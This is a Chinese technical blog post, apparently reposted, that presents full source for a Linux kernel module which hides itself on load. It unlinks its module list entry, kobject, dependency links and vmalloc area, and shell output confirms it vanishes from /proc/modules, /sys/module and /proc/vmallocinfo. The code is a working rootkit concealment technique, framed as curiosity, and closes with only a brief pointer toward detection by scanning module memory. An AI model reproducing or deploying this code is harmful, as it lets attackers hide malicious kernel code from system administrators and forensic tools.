您的位置:首页 > 运维架构 > Linux

隐藏自己的Linux内核模块

2020-07-12 16:09 423 查看

前面我提倡使用oneshot模式加载模块,即让模块在init函数中把事情做完后就return -1,这样系统中便不存在这么一个模块,也就不需要隐藏了。

但是,由于THIS_MODULE宏的存在,我们发现实际上隐藏一个模块是多么地简单。事实上,模块可以在init函数中通过THIS_MODULE宏实现自隐藏的。想想看,自己可以给自己办理身份证,户口迁移,自己给自己签证,是多么有意思且有意义。

既然如此简单,还费事搞oneshot干嘛,精神洁癖总是不想看到return -1。

和进程隐藏完全不同,进程无法自己隐藏自己,只能依靠其它模块找到相应的task_struct,然后再摘链。

THIS_MODULE宏对于每一个内核模块均有一个,它将xx.mod.c中的下列结构体载入内核空间:

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};

我来用代码演示一下如何来隐藏自己,代码如下:

// hidemyself.c
#include <linux/module.h>
#include <net/netfilter/nf_conntrack_core.h>
#include <asm-generic/delay.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>

struct timer_list timer;
// 模拟重体力劳动
static void timer_func(unsigned long data)
{
udelay(1000);
mod_timer(&timer, jiffies + 10);
}

static void __init hide_myself(void)
{
struct vmap_area *va, *vtmp;
struct module_use *use, *tmp;
struct list_head *_vmap_area_list;
struct rb_root *_vmap_area_root;

_vmap_area_list = (struct list_head *)kallsyms_lookup_name("vmap_area_list");
_vmap_area_root = (struct rb_root *)kallsyms_lookup_name("vmap_area_root");

// 摘除vmalloc调用关系链,/proc/vmallocinfo中不可见
list_for_each_entry_safe(va, vtmp, _vmap_area_list, list) {
if ((unsigned long)THIS_MODULE > va->va_start && (unsigned long)THIS_MODULE < va->va_end) {
list_del(&va->list);
// rbtree中摘除,无法通过rbtree找到
rb_erase(&va->rb_node, _vmap_area_root);
}
}

// 摘除链表,/proc/modules 中不可见。
list_del_init(&THIS_MODULE->list);
// 摘除kobj,/sys/modules/中不可见。
kobject_del(&THIS_MODULE->mkobj.kobj);
// 摘除依赖关系,本例中nf_conntrack的holder中不可见。
list_for_each_entry_safe(use, tmp, &THIS_MODULE->target_list, target_list) {
list_del(&use->source_list);
list_del(&use->target_list);
sysfs_remove_link(use->target->holders_dir, THIS_MODULE->name);
kfree(use);
}
}

static int __init hideself_init(void)
{
hide_myself();
init_timer(&timer);
timer.expires = jiffies + 20;
timer.function = timer_func;
add_timer(&timer);

// 模拟依赖。我们需要在依赖关系中也隐藏掉该模块的行踪
printk("address:%p   this:%p\n", nf_conntrack_in, THIS_MODULE);

return 0;
}

static void __exit hideself_exit(void)
{
del_timer_sync(&timer);
}
module_init(hideself_init);
module_exit(hideself_exit);
MODULE_LICENSE("GPL");

我们加载该模块,发现重体力劳动已经开始运行:

[root@localhost test]# insmod ./hidemyself.ko
[root@localhost test]# perf top
Samples: 2K of event 'cpu-clock', Event count (approx.): 383743956
Overhead  Shared Object        Symbol
47.89%  [kernel]             [k] native_read_tsc
38.93%  [kernel]             [k] delay_tsc
1.61%  [kernel]             [k] _raw_spin_unlock_irqrestore
1.47%  [kernel]             [k] __do_softirq
1.26%  perf                 [.] __symbols__ins

依赖也已经记录:

[root@localhost test]# lsmod |grep nf_conntrack
nf_conntrack          105737  1

但是却哪里都找不到:

[root@localhost test]# cat /proc/modules |grep hidemyself
[root@localhost test]# ls -l /sys/module/|grep hidemyself
[root@localhost test]# ls -l /sys/module/nf_conntrack/holders/|grep hidemyself
[root@localhost test]#

同时,/proc/vmallocinfo中也没有该模块的地址空间。下面是dmesg打印出的信息:

[  668.202784] address:ffffffffa02a56e0   this:ffffffffa00fa000

我们看得出,THIS_MODULE的地址是 0xffffffffa00fa000,我们在/proc/vmallocinfo中找不到包含该地址的vmalloc区间!

隐藏很成功。而且…

而且,模块还可以加载多次的哦,因为它已经在命名空间中被自己除名了,完全脱离了组织的管理。

接下来,我正常要做的就是, 把它找出来!

当然,扫描modules内存区间是可行的,它在:

// arch/x86/include/asm/pgtable_64_types.h
#define MODULES_VADDR    _AC(0xffffffffa0000000, UL)
#define MODULES_END      _AC(0xffffffffff000000, UL)

还有更好的方法,后面再说吧。

回家咯。

浙江温州皮鞋湿,下雨进水不会胖。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: